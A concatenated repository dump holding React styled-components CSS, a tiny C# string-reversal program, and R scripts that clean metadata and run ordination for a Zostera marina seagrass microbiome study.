justify-content: space-between;
border-top: 1px solid lightgray;
bottom: 0;
width: 100%;
padding: 20px;
`;
export const Link = styled.a`
cursor: pointer;
text-decoration: none;
`;
export const Group = styled.div`
display: flex;
flex: 1;
height: 10px;
align-items: center;
`;
export const Row = styled.div`
`;
export const Right = styled.div`
position: absolute;
display: flex;
justify-content: space-between;
align-items: center;
max-width: 100px;
min-width: 7vw;
right: 0;
svg {
font-size: 40px;
margin-right: 5vw;
&:last-of-type {
color: #4A00CD !important;
}
}
@media (max-width: 1000px) {
padding: 0 40px;
}
`;
export const Left = styled.div`
position: absolute;
display: flex;
max-width: 100px;
justify-content: space-between;
align-items: center;
min-width: 10vw;
color: #656974 !important;
svg {
font-size: 25px;
}
${Link} {
&:first-of-type {
color: #A2A5AE !important;
}
&:last-of-type {
color: #4A00CD !important;
}
}
@media (max-width: 1000px) {
min-width: 10vw;
}
@media (max-width: 600px) {
min-width: 20vw;
}
`;
export const Text = styled.p`
`;<file_sep>import styled from 'styled-components/macro';
export const Container = styled.div`
position: relative;
display: flex;
justify-content: space-between;
right: 0;
width: 100%;
max-width: 100%
box-sizing: border-box;
`;
export const Frame = styled.div`
position: absolute;
display: flex;
flex-wrap: wrap;
justify-content: space-between;
align-content: center;
margin: 22.5px 24.5px;
box-sizing: border-box;
svg {
font-size: 25px !important;
}
`;
export const Left = styled.div`
position: absolute;
display: flex;
svg {
font-size: 25px;
color: #4A00CD;
}
`;
export const Right = styled.div`
position: absolute;
display: flex;
min-width: 20vw;
max-width: 300px;
left: 1080px;
right: 0;
justify-content: space-between;
svg {
&:first-of-type {
padding-right: 40px;
}
&:last-of-type {
padding-left: 40px;
}
}
@media screen and (max-width: 1280px) {
display: flex;
left: 720px;
min-width: 25vw;
justify-content: space-between;
svg {
&:first-of-type {
padding-right: 40px;
}
&:last-of-type {
padding-left: 40px;
}
}
}
@media screen and (max-width: 1000px) {
display: flex;
left: 500px;
min-width: 35vw;
justify-content: space-between;
svg {
&:first-of-type {
padding-right: 40px;
}
&:last-of-type {
padding-left: 30px;
}
}
}
@media screen and (max-width: 768px) {
display: flex;
left: 270px;
min-width: 40vw;
justify-content: space-between;
svg {
&:first-of-type {
padding-right: 30px;
}
&:last-of-type {
padding-left: 30px;
}
}
}
@media screen and (max-width: 600px) {
display: flex;
min-width: 45vw;
left: 140px;
svg {
&:first-of-type {
padding-right: 20px;
}
&:last-of-type {
padding-left: 20px;
}
}
}
`;
export const FarRight = styled.div`
position: absolute;
justify-content: space-between;
display: flex;
left: 1380px;
right: 0;
svg {
&:first-of-type {
padding-right: 40px;
}
&:last-of-type {
padding-left: 0px;
}
}
@media screen and (max-width: 1280px) {
display: flex;
left: 980px;
justify-content: space-between;
svg {
&:first-of-type {
padding-right: 10px;
}
&:last-of-type {
padding-left: 20px;
}
}
}
@media screen and (max-width: 1000px) {
display: flex;
left: 850px;
justify-content: space-between;
svg {
&:first-of-type {
padding-right: 10px;
}
&:last-of-type {
padding-left: 10px;
}
}
}
@media screen and (max-width: 768px) {
display: flex;
left: 520px;
min-width: 10vw;
justify-content: space-between;
svg {
&:first-of-type {
padding-right: 20px;
}
&:last-of-type {
padding-left: 20px;
}
}
}
@media screen and (max-width: 600px) {
display: flex;
min-width: 7vw;
left: 350px;
justify-content: space-between;
svg {
&:first-of-type {
padding-right: 10px;
}
&:last-of-type {
padding-left: 20px;
}
}
}
`;
export const Group = styled.div`
display: flex;
`;
export const Link = styled.a`
cursor: pointer;
`;
|
c490b64c25bc4509859c89b207411aadef5c3b64
|
[
"JavaScript"
] | 11 |
JavaScript
|
calmest/pinterest-test
|
b0814e943cc5fb96b200f9c65770868f083a1b14
|
0e62dc7caa7f5262619863e4aacd0f1dd8ff3404
|
refs/heads/master
|
<file_sep>using System;
using System.Collections.Generic;
public class paradigm
{
public static void Main()
{
var input =Console.ReadLine();
var charArray = input.ToCharArray();
Array.Reverse(charArray);
var reversed = new string(charArray);
Console.WriteLine(reversed);
if( reversed == input)
{
Console.WriteLine("your word is a paradigm");
}
}
}
|
c8542f9ecdf163f4436047304450e5ab59cacce9
|
[
"C#"
] | 1 |
C#
|
ryanleslie33/paradigm
|
e1ca8bb946928de5e87cbcece83b5eb24fdc8eed
|
89066feb6712e5c57cbf6b4107a555618a619959
|
refs/heads/master
|
<repo_name>enterdevstudio/seagrass-microbiome<file_sep>/R/ud-functions/clean-ordination.R
## define location metadata in data frame
nmds.mat$site <- rep(NA)
nmds.mat$above.below <- rep(NA)
nmds.mat$host.env <- rep(NA)
nmds.mat$is.leaf <- rep(FALSE)
nmds.mat$is.roots <- rep(FALSE)
nmds.mat$is.sediment <- rep(FALSE)
nmds.mat$is.water <- rep(FALSE)
nmds.mat$ocean <- rep(NA)
nmds.mat$lat <- rep(NA)
nmds.mat$lon <- rep(NA)
nmds.mat$sample.type <- rep(NA)
nmds.mat$sample.loc <- rep(NA)
nmds.mat$plot.loc <- rep(NA)
nmds.mat$subsite.code <- rep(NA)
## abiotic environment
nmds.mat$temp.C <- rep(NA)
nmds.mat$salinity <- rep(NA)
# nmds.mat$day.length.h <- rep(NA)
## host community genetics
nmds.mat$genotype.richness <- rep(NA)
nmds.mat$allele.richness <- rep(NA)
# nmds.mat$inbreeding <- rep(NA)
## leaf characters
nmds.mat$mean.sheath.width <- rep(NA)
# nmds.mat$se.sheath.width <- rep(NA)
nmds.mat$mean.sheath.length <- rep(NA)
# nmds.mat$se.sheath.length <- rep(NA)
nmds.mat$longest.leaf.cm <- rep(NA)
# nmds.mat$se.longest.leaf.cm <- rep(NA)
nmds.mat$leaf.C <- rep(NA)
# nmds.mat$se.leaf.C <- rep(NA)
nmds.mat$leaf.N <- rep(NA)
# nmds.mat$se.leaf.N <- rep(NA)
## host community structure
nmds.mat$zmarina.above.biomass <- rep(NA)
# nmds.mat$se.zmarina.above.biomass <- rep(NA)
nmds.mat$zmarina.below.biomass <- rep(NA)
# nmds.mat$se.zmarina.below.biomass <- rep(NA)
nmds.mat$mean.zmarina.shoots.m2 <- rep(NA)
# nmds.mat$se.zmarina.shoots.m2 <- rep(NA)
# nmds.mat$mean.periphyton <- rep(NA)
# nmds.mat$se.periphyton <- rep(NA)
nmds.mat$mean.macroalgae <- rep(NA)
# nmds.mat$se.macroalgae <- rep(NA)
## animal community structure
nmds.mat$mean.mesograzer.b <- rep(NA)
# nmds.mat$se.mesograzer.b <- rep(NA)
# nmds.mat$mean.grazer.richness <- rep(NA)
# nmds.mat$se.grazer.richness <- rep(NA)
# nmds.mat$mean.std.epibiota <- rep(NA)
# nmds.mat$se.std.epibiota <- rep(NA)
# nmds.mat$std.mollusc.b <- rep(NA)
# nmds.mat$se.std.mollusc.b <- rep(NA)
nmds.mat$std.crustacean.b <- rep(NA)
# nmds.mat$se.std.crustacean.b <- rep(NA)
## for loop
for(f in 1:length(rownames(nmds.mat))){
tryCatch({
curr.site <- as.character(rownames(nmds.mat)[f])
curr.dat <- subset(meta, SampleID == curr.site)
curr.bio <- subset(biotic, Site == as.character(curr.dat$sub.code))
## pull in data
## define location metadata in data frame
nmds.mat$site[f] <- as.character(curr.bio$Site.Code[1])
nmds.mat$ocean[f] <- as.character(curr.bio$Ocean[1])
nmds.mat$lat[f] <- as.numeric(as.character(curr.bio$Latitude[1]))
nmds.mat$lon[f] <- as.numeric(as.character(curr.bio$Longitude[1]))
nmds.mat$sample.type[f] <- as.character(curr.dat$SampleType[1])
if(nmds.mat$sample.type[f] == 'Leaf'){
nmds.mat$above.below[f] <- 'Above'
nmds.mat$host.env[f] <- 'Host'
nmds.mat$is.leaf[f] <- TRUE
}
if(nmds.mat$sample.type[f] == 'Roots'){
nmds.mat$above.below[f] <- 'Below'
nmds.mat$host.env[f] <- 'Host'
nmds.mat$is.roots[f] <- TRUE
}
if(nmds.mat$sample.type[f] == 'Sediment'){
nmds.mat$above.below[f] <- 'Below'
nmds.mat$host.env[f] <- 'Environment'
nmds.mat$is.sediment[f] <- TRUE
}
if(nmds.mat$sample.type[f] == 'Water'){
nmds.mat$above.below[f] <- 'Above'
nmds.mat$host.env[f] <- 'Environment'
nmds.mat$is.water[f] <- TRUE
}
nmds.mat$sample.loc[f] <- as.character(curr.bio$Depth.Categorical[1])
nmds.mat$subsite.code[f] <- as.character(curr.dat$SubsiteNumber[1])
nmds.mat$plot.loc[f] <- as.character(curr.dat$PlotLocation[1])
## abiotic environment
nmds.mat$temp.C[f] <- as.numeric(as.character(curr.bio$Temperature.C[1]))
nmds.mat$salinity[f] <- as.numeric(as.character(curr.bio$Salinity.ppt[1]))
# nmds.mat$day.length.h[f] <- as.numeric(as.character(curr.bio$Day.length.hours[1]))
## host community genetics
nmds.mat$genotype.richness[f] <- as.numeric(as.character(curr.bio$GenotypicRichness[1]))
nmds.mat$allele.richness[f] <- as.numeric(as.character(curr.bio$AllelicRichness[1]))
# nmds.mat$inbreeding[f] <- as.numeric(as.character(curr.bio$Inbreeding[1]))
## leaf characters
nmds.mat$mean.sheath.width[f] <- as.numeric(as.character(curr.bio$Sheath.Width.cm.[1]))
# nmds.mat$se.sheath.width[f] <- as.numeric(as.character(curr.bio$SE.Sheath.Width.cm.[1]))
nmds.mat$mean.sheath.length[f] <- as.numeric(as.character(curr.bio$Shealth.Length.cm.[1]))
# nmds.mat$se.sheath.length[f] <- as.numeric(as.character(curr.bio$SE.Shealth.Length.cm.[1]))
nmds.mat$longest.leaf.cm[f] <- as.numeric(as.character(curr.bio$Longest.Leaf.Length.cm.[1]))
# nmds.mat$se.longest.leaf.cm[f] <- as.numeric(as.character(curr.bio$SE.Longest.Leaf.Length.cm.[1]))
nmds.mat$leaf.C[f] <- as.numeric(as.character(curr.bio$Mean.Leaf.PercC[1]))
# nmds.mat$se.leaf.C[f] <- as.numeric(as.character(curr.bio$SE.Mean.Leaf.PercC[1]))
nmds.mat$leaf.N[f] <- as.numeric(as.character(curr.bio$Mean.Leaf.PercN[1]))
# nmds.mat$se.leaf.N[f] <- as.numeric(as.character(curr.bio$SE.Mean.Leaf.PercN[1]))
## host community structure
nmds.mat$zmarina.above.biomass[f] <- as.numeric(as.character(curr.bio$Above.Zmarina.g[1]))
# nmds.mat$se.zmarina.above.biomass[f] <- as.numeric(as.character(curr.bio$SE.Mean.Above.Zmarina.g[1]))
nmds.mat$zmarina.below.biomass[f] <- as.numeric(as.character(curr.bio$Below.Zmarina.g[1]))
# nmds.mat$se.zmarina.below.biomass[f] <- as.numeric(as.character(curr.bio$SE.Below.Zmarina.g[1]))
nmds.mat$mean.zmarina.shoots.m2[f] <- as.numeric(as.character(curr.bio$Mean.Shoots.Zmarina.per.m2[1]))
# nmds.mat$se.zmarina.shoots.m2[f] <- as.numeric(as.character(curr.bio$SE.Shoots.Zmarina.per.m2[1]))
# nmds.mat$mean.periphyton[f] <- as.numeric(as.character(curr.bio$Mean.Site.Std.Periphyton[1]))
# nmds.mat$se.periphyton[f] <- as.numeric(as.character(curr.bio$SE.Site.Std.Periphyton[1]))
nmds.mat$mean.macroalgae[f] <- as.numeric(as.character(curr.bio$Mean.Macroalgae.g.m2[1]))
# nmds.mat$se.macroalgae[f] <- as.numeric(as.character(curr.bio$SE.Mean.Macroalgae.g.m2[1]))
## animal community structure
nmds.mat$mean.mesograzer.b[f] <- as.numeric(as.character(curr.bio$Std.Total.Biomass.Mesograzers1[1]))
# nmds.mat$se.mesograzer.b[f] <- as.numeric(as.character(curr.bio$SE.Std.Total.Biomass.Mesograzers[1]))
# nmds.mat$mean.grazer.richness[f] <- as.numeric(as.character(curr.bio$Mean.Grazer.Richness[1]))
# nmds.mat$se.grazer.richness[f] <- as.numeric(as.character(curr.bio$SE.Grazer.Richness[1]))
# nmds.mat$mean.std.epibiota[f] <- as.numeric(as.character(curr.bio$Mean.Site.Std.TotalEpibiota[1]))
# nmds.mat$se.std.epibiota[f] <- as.numeric(as.character(curr.bio$SE.Site.Std.TotalEpibiota[1]))
# nmds.mat$std.mollusc.b[f] <- as.numeric(as.character(curr.bio$Std.Total.Biomass.Molluscs1[1]))
# nmds.mat$se.std.mollusc.b[f] <- as.numeric(as.character(curr.bio$SE.Std.Total.Biomass.Molluscs[1]))
nmds.mat$std.crustacean.b[f] <- as.numeric(as.character(curr.bio$Std.Total.Biomass.Crustacean1[1]))
# nmds.mat$se.std.crustacean.b[f] <- as.numeric(as.character(curr.bio$SE.Std.Total.Biomass.Crustacean[1]))
}, error = function(e){})
## drop us a line
if(f == 1){bar.vec <- c(na.omit(seq(1:length(rownames(nmds.mat)))[1:length(rownames(nmds.mat)) * round(length(rownames(nmds.mat)) / 10)]))
cat('|')}
if(f %in% bar.vec == TRUE){cat('=====|')}
}
nmds.mat$subsite.tag <- paste(nmds.mat$site, nmds.mat$subsite.code, sep = '.')
nmds.mat$lump.tag <- paste(nmds.mat$subsite.tag, nmds.mat$sample.type, sep = '.')
nmds.mat$plant.tag <- paste(nmds.mat$subsite.tag, nmds.mat$plot.loc, sep = '.')
nmds.mat$C.N.ratio <- nmds.mat$leaf.C / nmds.mat$leaf.N
nmds.mat <- subset(nmds.mat, sample.type != 'Epiphyte')
# ## mark re-ran samples
# reruns <- read.csv('/Users/Ashkaan/Dropbox/SMP/data/rerun_500_numseqs_fix.csv', header = TRUE)
# nmds.mat$rerun <- rownames(nmds.mat) %in% reruns$sample
names(nmds.mat)[c(1, 2)] <- c('X1', 'X2')
## na.omit if you wanna be super clean
nmds.mat.na <- na.omit(nmds.mat)
# nmds.mat.na <- nmds.mat[!is.na(nmds.mat$sample.type), ]
## add scores from first pca axis describing each broad data type
# pca.abiotic <- princomp(nmds.mat.na[, c(5,10:12)]) ## loads mostly on latitude and salinity
# nmds.mat.na$abiotic.char <- pca.abiotic$scores[, 1]
#
# pca.leaf.char <- princomp(nmds.mat.na[, c(16:25)]) ## loads mostly on longest leaf (cm)
# nmds.mat.na$leaf.char <- pca.leaf.char$scores[, 1]
#
# pca.host.comm <- princomp(nmds.mat.na[, c(13,14,26:34)]) ## loads on mean shoots m2 and below ground biomass
# nmds.mat.na$host.comm <- pca.host.comm$scores[, 1]
#
# pca.animal <- princomp(nmds.mat.na[, c(36:45)]) ## loads on mesograzer b and crustacean b
# nmds.mat.na$animal.comm <- pca.animal$scores[, 1]
## end of biotic data cleanup
# pca.all <- princomp(nmds.mat.na[, c(12:14, 18:47)])
# loadings(pca.all)
# longest.leaf.cm, zmarina.above.biomass, zmarina.below.biomass, mean.zmarina.shoots.m2,
# mean.mesograzer.b, mean.macroalgae, std.crustacean.b
<file_sep>/README.md
# <img src="figures/plant_vec.jpg" width=50, height=61)> The ZEN Microbiome Project
#### Under Construction
This repository contains data and code related to the *Zostera marina* seagrass microbiome.
<file_sep>/R/ud-functions/clean-ordination-uw.R
## define location metadata in data frame
nmds.mat.uw$site <- rep(NA)
nmds.mat.uw$above.below <- rep(NA)
nmds.mat.uw$host.env <- rep(NA)
nmds.mat.uw$is.leaf <- rep(FALSE)
nmds.mat.uw$is.roots <- rep(FALSE)
nmds.mat.uw$is.sediment <- rep(FALSE)
nmds.mat.uw$is.water <- rep(FALSE)
nmds.mat.uw$ocean <- rep(NA)
nmds.mat.uw$lat <- rep(NA)
nmds.mat.uw$lon <- rep(NA)
nmds.mat.uw$sample.type <- rep(NA)
nmds.mat.uw$sample.loc <- rep(NA)
nmds.mat.uw$plot.loc <- rep(NA)
nmds.mat.uw$subsite.code <- rep(NA)
## abiotic environment
nmds.mat.uw$temp.C <- rep(NA)
nmds.mat.uw$salinity <- rep(NA)
# nmds.mat.uw$day.length.h <- rep(NA)
## host community genetics
nmds.mat.uw$genotype.richness <- rep(NA)
nmds.mat.uw$allele.richness <- rep(NA)
# nmds.mat.uw$inbreeding <- rep(NA)
## leaf characters
nmds.mat.uw$mean.sheath.width <- rep(NA)
# nmds.mat.uw$se.sheath.width <- rep(NA)
nmds.mat.uw$mean.sheath.length <- rep(NA)
# nmds.mat.uw$se.sheath.length <- rep(NA)
nmds.mat.uw$longest.leaf.cm <- rep(NA)
# nmds.mat.uw$se.longest.leaf.cm <- rep(NA)
nmds.mat.uw$leaf.C <- rep(NA)
# nmds.mat.uw$se.leaf.C <- rep(NA)
nmds.mat.uw$leaf.N <- rep(NA)
# nmds.mat.uw$se.leaf.N <- rep(NA)
## host community structure
nmds.mat.uw$zmarina.above.biomass <- rep(NA)
# nmds.mat.uw$se.zmarina.above.biomass <- rep(NA)
nmds.mat.uw$zmarina.below.biomass <- rep(NA)
# nmds.mat.uw$se.zmarina.below.biomass <- rep(NA)
nmds.mat.uw$mean.zmarina.shoots.m2 <- rep(NA)
# nmds.mat.uw$se.zmarina.shoots.m2 <- rep(NA)
# nmds.mat.uw$mean.periphyton <- rep(NA)
# nmds.mat.uw$se.periphyton <- rep(NA)
nmds.mat.uw$mean.macroalgae <- rep(NA)
# nmds.mat.uw$se.macroalgae <- rep(NA)
## animal community structure
nmds.mat.uw$mean.mesograzer.b <- rep(NA)
# nmds.mat.uw$se.mesograzer.b <- rep(NA)
# nmds.mat.uw$mean.grazer.richness <- rep(NA)
# nmds.mat.uw$se.grazer.richness <- rep(NA)
# nmds.mat.uw$mean.std.epibiota <- rep(NA)
# nmds.mat.uw$se.std.epibiota <- rep(NA)
# nmds.mat.uw$std.mollusc.b <- rep(NA)
# nmds.mat.uw$se.std.mollusc.b <- rep(NA)
nmds.mat.uw$std.crustacean.b <- rep(NA)
# nmds.mat.uw$se.std.crustacean.b <- rep(NA)
## for loop
for(f in 1:length(rownames(nmds.mat.uw))){
tryCatch({
curr.site <- as.character(rownames(nmds.mat.uw)[f])
curr.dat <- subset(meta, SampleID == curr.site)
curr.bio <- subset(biotic, Site == as.character(curr.dat$sub.code))
## pull in data
## define location metadata in data frame
nmds.mat.uw$site[f] <- as.character(curr.bio$Site.Code[1])
nmds.mat.uw$ocean[f] <- as.character(curr.bio$Ocean[1])
nmds.mat.uw$lat[f] <- as.numeric(as.character(curr.bio$Latitude[1]))
nmds.mat.uw$lon[f] <- as.numeric(as.character(curr.bio$Longitude[1]))
nmds.mat.uw$sample.type[f] <- as.character(curr.dat$SampleType[1])
if(nmds.mat.uw$sample.type[f] == 'Leaf'){
nmds.mat.uw$above.below[f] <- 'Above'
nmds.mat.uw$host.env[f] <- 'Host'
nmds.mat.uw$is.leaf[f] <- TRUE
}
if(nmds.mat.uw$sample.type[f] == 'Roots'){
nmds.mat.uw$above.below[f] <- 'Below'
nmds.mat.uw$host.env[f] <- 'Host'
nmds.mat.uw$is.roots[f] <- TRUE
}
if(nmds.mat.uw$sample.type[f] == 'Sediment'){
nmds.mat.uw$above.below[f] <- 'Below'
nmds.mat.uw$host.env[f] <- 'Environment'
nmds.mat.uw$is.sediment[f] <- TRUE
}
if(nmds.mat.uw$sample.type[f] == 'Water'){
nmds.mat.uw$above.below[f] <- 'Above'
nmds.mat.uw$host.env[f] <- 'Environment'
nmds.mat.uw$is.water[f] <- TRUE
}
nmds.mat.uw$sample.loc[f] <- as.character(curr.bio$Depth.Categorical[1])
nmds.mat.uw$subsite.code[f] <- as.character(curr.dat$SubsiteNumber[1])
nmds.mat.uw$plot.loc[f] <- as.character(curr.dat$PlotLocation[1])
## abiotic environment
nmds.mat.uw$temp.C[f] <- as.numeric(as.character(curr.bio$Temperature.C[1]))
nmds.mat.uw$salinity[f] <- as.numeric(as.character(curr.bio$Salinity.ppt[1]))
# nmds.mat.uw$day.length.h[f] <- as.numeric(as.character(curr.bio$Day.length.hours[1]))
## host community genetics
nmds.mat.uw$genotype.richness[f] <- as.numeric(as.character(curr.bio$GenotypicRichness[1]))
nmds.mat.uw$allele.richness[f] <- as.numeric(as.character(curr.bio$AllelicRichness[1]))
# nmds.mat.uw$inbreeding[f] <- as.numeric(as.character(curr.bio$Inbreeding[1]))
## leaf characters
nmds.mat.uw$mean.sheath.width[f] <- as.numeric(as.character(curr.bio$Sheath.Width.cm.[1]))
# nmds.mat.uw$se.sheath.width[f] <- as.numeric(as.character(curr.bio$SE.Sheath.Width.cm.[1]))
nmds.mat.uw$mean.sheath.length[f] <- as.numeric(as.character(curr.bio$Shealth.Length.cm.[1]))
# nmds.mat.uw$se.sheath.length[f] <- as.numeric(as.character(curr.bio$SE.Shealth.Length.cm.[1]))
nmds.mat.uw$longest.leaf.cm[f] <- as.numeric(as.character(curr.bio$Longest.Leaf.Length.cm.[1]))
# nmds.mat.uw$se.longest.leaf.cm[f] <- as.numeric(as.character(curr.bio$SE.Longest.Leaf.Length.cm.[1]))
nmds.mat.uw$leaf.C[f] <- as.numeric(as.character(curr.bio$Mean.Leaf.PercC[1]))
# nmds.mat.uw$se.leaf.C[f] <- as.numeric(as.character(curr.bio$SE.Mean.Leaf.PercC[1]))
nmds.mat.uw$leaf.N[f] <- as.numeric(as.character(curr.bio$Mean.Leaf.PercN[1]))
# nmds.mat.uw$se.leaf.N[f] <- as.numeric(as.character(curr.bio$SE.Mean.Leaf.PercN[1]))
## host community structure
nmds.mat.uw$zmarina.above.biomass[f] <- as.numeric(as.character(curr.bio$Above.Zmarina.g[1]))
# nmds.mat.uw$se.zmarina.above.biomass[f] <- as.numeric(as.character(curr.bio$SE.Mean.Above.Zmarina.g[1]))
nmds.mat.uw$zmarina.below.biomass[f] <- as.numeric(as.character(curr.bio$Below.Zmarina.g[1]))
# nmds.mat.uw$se.zmarina.below.biomass[f] <- as.numeric(as.character(curr.bio$SE.Below.Zmarina.g[1]))
nmds.mat.uw$mean.zmarina.shoots.m2[f] <- as.numeric(as.character(curr.bio$Mean.Shoots.Zmarina.per.m2[1]))
# nmds.mat.uw$se.zmarina.shoots.m2[f] <- as.numeric(as.character(curr.bio$SE.Shoots.Zmarina.per.m2[1]))
# nmds.mat.uw$mean.periphyton[f] <- as.numeric(as.character(curr.bio$Mean.Site.Std.Periphyton[1]))
# nmds.mat.uw$se.periphyton[f] <- as.numeric(as.character(curr.bio$SE.Site.Std.Periphyton[1]))
nmds.mat.uw$mean.macroalgae[f] <- as.numeric(as.character(curr.bio$Mean.Macroalgae.g.m2[1]))
# nmds.mat.uw$se.macroalgae[f] <- as.numeric(as.character(curr.bio$SE.Mean.Macroalgae.g.m2[1]))
## animal community structure
nmds.mat.uw$mean.mesograzer.b[f] <- as.numeric(as.character(curr.bio$Std.Total.Biomass.Mesograzers1[1]))
# nmds.mat.uw$se.mesograzer.b[f] <- as.numeric(as.character(curr.bio$SE.Std.Total.Biomass.Mesograzers[1]))
# nmds.mat.uw$mean.grazer.richness[f] <- as.numeric(as.character(curr.bio$Mean.Grazer.Richness[1]))
# nmds.mat.uw$se.grazer.richness[f] <- as.numeric(as.character(curr.bio$SE.Grazer.Richness[1]))
# nmds.mat.uw$mean.std.epibiota[f] <- as.numeric(as.character(curr.bio$Mean.Site.Std.TotalEpibiota[1]))
# nmds.mat.uw$se.std.epibiota[f] <- as.numeric(as.character(curr.bio$SE.Site.Std.TotalEpibiota[1]))
# nmds.mat.uw$std.mollusc.b[f] <- as.numeric(as.character(curr.bio$Std.Total.Biomass.Molluscs1[1]))
# nmds.mat.uw$se.std.mollusc.b[f] <- as.numeric(as.character(curr.bio$SE.Std.Total.Biomass.Molluscs[1]))
nmds.mat.uw$std.crustacean.b[f] <- as.numeric(as.character(curr.bio$Std.Total.Biomass.Crustacean1[1]))
# nmds.mat.uw$se.std.crustacean.b[f] <- as.numeric(as.character(curr.bio$SE.Std.Total.Biomass.Crustacean[1]))
}, error = function(e){})
## drop us a line
if(f == 1){bar.vec <- c(na.omit(seq(1:length(rownames(nmds.mat.uw)))[1:length(rownames(nmds.mat.uw)) * round(length(rownames(nmds.mat.uw)) / 10)]))
cat('|')}
if(f %in% bar.vec == TRUE){cat('=====|')}
}
nmds.mat.uw$subsite.tag <- paste(nmds.mat.uw$site, nmds.mat.uw$subsite.code, sep = '.')
nmds.mat.uw$lump.tag <- paste(nmds.mat.uw$subsite.tag, nmds.mat.uw$sample.type, sep = '.')
nmds.mat.uw$plant.tag <- paste(nmds.mat.uw$subsite.tag, nmds.mat.uw$plot.loc, sep = '.')
nmds.mat.uw$C.N.ratio <- nmds.mat.uw$leaf.C / nmds.mat.uw$leaf.N
nmds.mat.uw <- subset(nmds.mat.uw, sample.type != 'Epiphyte')
# ## mark re-ran samples
# reruns <- read.csv('/Users/Ashkaan/Dropbox/SMP/data/rerun_500_numseqs_fix.csv', header = TRUE)
# nmds.mat.uw$rerun <- rownames(nmds.mat.uw) %in% reruns$sample
names(nmds.mat.uw)[c(1, 2)] <- c('X1', 'X2')
## na.omit if you wanna be super clean
nmds.mat.uw.na <- na.omit(nmds.mat.uw)
# nmds.mat.uw.na <- nmds.mat.uw[!is.na(nmds.mat.uw$sample.type), ]
## add scores from first pca axis describing each broad data type
# pca.abiotic <- princomp(nmds.mat.uw.na[, c(5,10:12)]) ## loads mostly on latitude and salinity
# nmds.mat.uw.na$abiotic.char <- pca.abiotic$scores[, 1]
#
# pca.leaf.char <- princomp(nmds.mat.uw.na[, c(16:25)]) ## loads mostly on longest leaf (cm)
# nmds.mat.uw.na$leaf.char <- pca.leaf.char$scores[, 1]
#
# pca.host.comm <- princomp(nmds.mat.uw.na[, c(13,14,26:34)]) ## loads on mean shoots m2 and below ground biomass
# nmds.mat.uw.na$host.comm <- pca.host.comm$scores[, 1]
#
# pca.animal <- princomp(nmds.mat.uw.na[, c(36:45)]) ## loads on mesograzer b and crustacean b
# nmds.mat.uw.na$animal.comm <- pca.animal$scores[, 1]
## end of biotic data cleanup
# pca.all <- princomp(nmds.mat.uw.na[, c(12:14, 18:47)])
# loadings(pca.all)
# longest.leaf.cm, zmarina.above.biomass, zmarina.below.biomass, mean.zmarina.shoots.m2,
# mean.mesograzer.b, mean.macroalgae, std.crustacean.b
<file_sep>/R/sourcetracker-analysis.R
##--------------------------------------------------
## this script reproduces analyses from a study
## on the microbiomes of a globally distributed
## seagrass species , Z. marina, collected by the
## Zostera Ecological Network (ZEN).
##
## - <NAME>
##--------------------------------------------------
##--------------------------------------------------
## libraries and user-defined functions
##--------------------------------------------------
setwd('/Users/Ashkaan/Dropbox/ZEN-microbiome-project/')
source('./R/ud-functions/microbiome-functions.R')
source('./R/ud-functions/summary-SE.R')
set.seed(777)
##--------------------------------------------------
## import data
##--------------------------------------------------
## (1) non-rarefied biom table
biom <- read_biom('./data/pick-otus/otu_table_filt_JSON.biom')
## (2) rarefied biom table to depth of 1000
# biom <- read_biom('./data/pick-otus/otu_table_filt_rare1000_JSON.biom')
## coerce to matrix
dat <- as.data.frame(as(biom_data(biom), 'matrix'), header = TRUE)
## drop NOPNA (control) samples
dat <- dat[, -which(lapply(strsplit(colnames(dat), split = 'NOPNA'), length) == 2)]
## (2) import metadata
tax <- as.matrix(observation_metadata(biom), sep = ',')
meta <- as.data.frame(read.csv('./data/meta.csv'))
biotic <- read.csv('./data/meta-biotic.csv', header = TRUE)
## clean up metadata
meta$SubsiteNumber[which(meta$SubsiteNumber == 1)] <- 'A'
meta$SubsiteNumber[which(meta$SubsiteNumber == 2)] <- 'B'
meta$sub.code <- paste(meta$ZenSite, meta$SubsiteNumber, sep = '.')
meta$plant.code <- paste(meta$ZenSite, meta$SubsiteNumber, meta$PlotLocation, sep = '.')
## Exclude epiphyte samples
dont.use <- meta$SampleID[which(meta$SampleType == 'Epiphyte')]
dat <- dat[, -which(names(dat) %in% dont.use)]
## remove sites with less than k reads
k.filter <- 1000
if(length(which(colSums(dat) < k.filter)) > 0){dat <- dat[, -c(which(colSums(dat) <= k.filter))]}
## remove OTUs that occur less than k times
dat <- dat[-which(rowSums(dat != 0) < 1), ]
## trim taxonomy list to OTUs that are present in dat
tax.trim <- as.matrix(tax[which(rownames(tax) %in% rownames(dat)), ])
tax.2 <- tax.to.long(tax.trim)
# ##-----------------------------
# ## normalize biom table by TMM
# ##-----------------------------
# counts <- DGEList(dat)
# norm.dat <- calcNormFactors(counts, method = 'TMM')
# norm.dat.2 <- cpm(norm.dat, normalized.lib.sizes = TRUE)
# dat <- norm.dat.2
# ##-----------------------------
## dividing elements by sample sums
dat.rel <- t(t(dat) / rowSums(t(dat)))
## sqrt transform normalized biom table for downstream analyses
dat.rel.trans <- sqrt(dat.rel)
##--------------------------------------------------
## SECTION 1: ORDINATION
##--------------------------------------------------
## (1) vegan distances or...
dist.metric.veg <- vegdist(t(dat.rel.trans), method = 'canberra', binary = FALSE)
## (2) UW unifrac distance computed in phyloseq (need to load ps code snippet below, first)
# dist.metric.veg.uw <- UniFrac(ps, weighted = FALSE)
## (3) W unifrac distance computed in phyloseq
# dist.metric.veg.w <- UniFrac(ps, weighted = TRUE)
## (a) nmds ordination
nmds <- metaMDS(dist.metric.veg, k = 2, trymax = 25, pca = TRUE)
nmds.mat <- as.data.frame(nmds$points)
nmds$stress
## (b) pcoa with vegan
# pcoa <- cmdscale(dist.metric.veg, k = 2, eig = FALSE)
# nmds.mat <- data.frame(pcoa)
## coerce dist into matrix object for your viewing pleasure
dist.metric <- as.matrix(dist.metric.veg)
## custom script to clean it all up and rename variables to ones I like
source('./R/ud-functions/clean-ordination.R')
##-----------------------------
##-----------------------------
# ## bring in metadata
# metadata <- nmds.mat
# metadata$coast <- biotic$Coast[match(metadata$subsite.tag, biotic$Site)]
#
# ## otu table
# otus <- dat
#
# ## drop rare otus
# otus <- otus[-which(rowSums(otus != 0) < 5), ]
#
# ## pick leaves only by LEAVING OUT roots
# otus <- otus[, match(rownames(subset(metadata, sample.type != 'Roots')), colnames(otus))]
#
# ## convert to integer counts
# otus.2 <- apply(otus, 2, function(x) as.integer(x))
# rownames(otus.2) <- rownames(otus)
#
# ## extract only those samples in common between the two tables
# common.sample.ids <- intersect(rownames(metadata), colnames(otus.2))
# otus.2 <- otus.2[, common.sample.ids]
